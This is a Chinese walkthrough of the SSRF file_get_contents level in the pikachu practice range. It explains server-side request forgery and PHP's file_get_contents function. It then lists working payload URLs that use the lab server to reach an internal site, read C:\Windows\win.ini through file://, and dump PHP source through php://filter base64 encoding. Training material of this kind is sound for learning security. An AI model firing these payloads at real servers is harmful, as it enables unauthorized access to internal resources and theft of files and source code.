pikachu靶场通关笔记44 SSRF关卡02-file_get_content(三种方法渗透)

目录

一、SSRF

1、简介

2、原理

二、file_get_contents函数

1、功能

2、参数

3、返回值

4、file_get_contents与SSRF

三、渗透实战

1、基本探测

2、http协议

(1)访问upload-labs靶场

(2)访问yijuhua.txt

3、file协议

4、php://filter伪协议

(1)ssrf.php

(2)rce.php


本系列为通过《pikachu靶场通关笔记》的SSRF关卡(共2关)渗透集合,通过对SSRF关卡源码的代码审计找到SSRF安全风险的真实原因,讲解SSRF原理并进行渗透实践,本文为SSRF关卡02-file_get_contents关卡的渗透部分。

一、SSRF

1、简介

SSRF 即服务器端请求伪造,是一种常见的网络安全风险。它主要是由于服务器端在处理用户请求时,没有对目标地址进行严格的过滤和验证,导致攻击者可以构造恶意请求,让服务器以自身的身份去访问其他内部或外部资源。

2、原理

利用 SSRF安全风险,攻击者能够通过伪造请求,绕过防火墙等安全限制,对内网的服务器进行访问和攻击,获取敏感信息,如数据库内容、用户账号密码等,还可能进行端口扫描,探测内网结构和服务分布,甚至利用SSRF风险发起进一步的攻击,如攻击其他应用程序或执行命令等,给企业和用户带来严重的安全威胁,造成数据泄露、系统瘫痪等后果。因此,及时发现和修复 SSRF安全风险对于保障网络安全至关重要。

SSRF(服务器端请求伪造)攻击流程如下:

  • 攻击者向存在SSRF风险的服务器A发送恶意请求,包含指向内网主机B的地址(步骤1)。
  • 服务器A未验证请求目标,直接作为代理向主机B发起请求(步骤2)。
  • 主机B响应请求后(步骤3),服务器A将敏感数据返回给攻击者(步骤4)。

该安全风险绕过了网络隔离限制,使攻击者能够间接访问原本不可达的内网资源(如数据库、文件系统或云元数据),形成安全威胁。示意图通过颜色区分角色,箭头明确数据流向,虚线框突出安全边界突破。

二、file_get_contents函数

file_get_contents() 是 PHP 中的一个内置函数,其主要功能是把整个文件读入到一个字符串中。

复制代码
file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false

1、功能

  • file_get_contents() 函数可以读取本地文件系统中的文件内容,也能通过 HTTP、FTP 等协议读取远程文件内容。这使得它在处理本地配置文件、获取远程 API 数据等场景下非常实用。

2、参数

  • $filename:必选参数,它可以是本地文件的路径,也可以是远程文件的 URL。
  • $use_include_path:可选参数,布尔类型,默认值为 false。若设置为 true,PHP 会在 include_path 中查找文件。
  • $context:可选参数,是一个上下文资源,可用于修改 HTTP 请求头、设置超时时间等。
  • $offset:可选参数,整数类型,指定从文件的哪个位置开始读取。
  • $length:可选参数,整数类型,指定要读取的字节数。

3、返回值

  • 若读取成功,函数会返回文件内容的字符串。
  • 若读取失败,则返回 false

4、file_get_contents与SSRF

file_get_contents 函数是 PHP 中用于将整个文件读入到一个字符串中的函数,它本身是一个实用的工具,但在使用不当时可能会导致 SSRF(服务器端请求伪造)。file_get_contents 函数不仅可以读取本地文件,还支持通过 URL 读取远程文件,这就为攻击者提供了可乘之机。如果在使用该函数时,没有对用户输入的 URL 进行严格的验证和过滤,攻击者就可以构造恶意的 URL,让服务器去访问内部网络中的资源。

三、渗透实战

1、基本探测

访问pikachu靶场SSRF关卡的file_get_contents关卡,完整的URL如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php 

点击链接"反正都读了,那就来一首吧(哈哈,错别字)",如下所示新链接中为file 后跟着个 file并以 http 协议去访问本地的 info2.php 文件,其中file为可控参数。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

其中info2.php,具体文件内容如下所示,如上图所示完全展示其内容。

2、http协议

(1)访问upload-labs靶场

本次计划通过 file= http://127.0.0.1/upload-labs/ 访问同一内网的upload-labs靶场,通过SSRF安全风险来访问,URL如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/upload-labs/

如下所示,成功访问到同一内网中的upload-labs靶场渗透成功。

(2)访问yijuhua.txt

如下图所示,通过SSRF链接成功访问到yijuhua.txt文档。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/test/yijuhua.txt

3、file协议

修改url为:url= file:///C:\Windows\win.ini,查看文件的内容。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C:\Windows\win.ini

如下图所示,通过SSRF链接成功访问到C:\Windows\win.ini文档。

4、php://filter伪协议

(1)ssrf.php

使用php://filter协议可以获取代码源码,修改url为: ? file=php://filter/read=convert.base64-encode/resource=ssrf.php,具体如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

base64编码后的源码复制粘贴到hackbar中,选中并选择encoding-base64 decode,如下所示。

解码后如下所示,如下内容即为真实源码。

(2)rce.php

接下来通过php://filter协议可以获取代码rce.php源码,如下所示即为base64加密后的源码。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php

base64解密后的源码如下所示,渗透成功。

相关推荐
草莓熊Lotso14 小时前
【Redis 初阶】Set 类型深度解析:去重集合的运算能力与实战场景
linux·网络·数据库·windows·redis·tcp/ip·缓存
XR12345678814 小时前
汽车制造园区网络怎么建?柔性产线与 AGV 的选型逻辑
网络·汽车·制造
蒲公英eric1 天前
从客户端到服务端:DVWA DOM 型 XSS 模块完整漏洞分析教程
前端·web安全·ai·xss·dvwa·ai安全
yunlong32671 天前
吊车选型与载荷计算:避开4个坑,安全吊装不再难
安全·方案·事故·吊装·起重·吊装重量·吊装半径
IT大白鼠1 天前
MSF二次开发与自定义模块编写
网络·安全·web安全·msf
Flynt1 天前
1200个AI Agent自己组了个群,把Hugging Face黑了
安全·openai·agent
Julien20041 天前
调查和解决 SELinux 问题
linux·运维·服务器·网络·学习方法
kekekzt1 天前
TCP协议的粘包问题介绍,IP分片,MTU,MSS,滑动窗口的概念及之间的关系
网络·网络协议·tcp/ip
mooooooooooye1 天前
2026 年跨平台 SSH 客户端怎么选?Xterminal、Termius、MobaXterm 谁更合适
服务器·网络·ssh
Blockchina1 天前
Codex 实战:从一句需求到可验收的 Linux 主机巡检脚本
运维·服务器·网络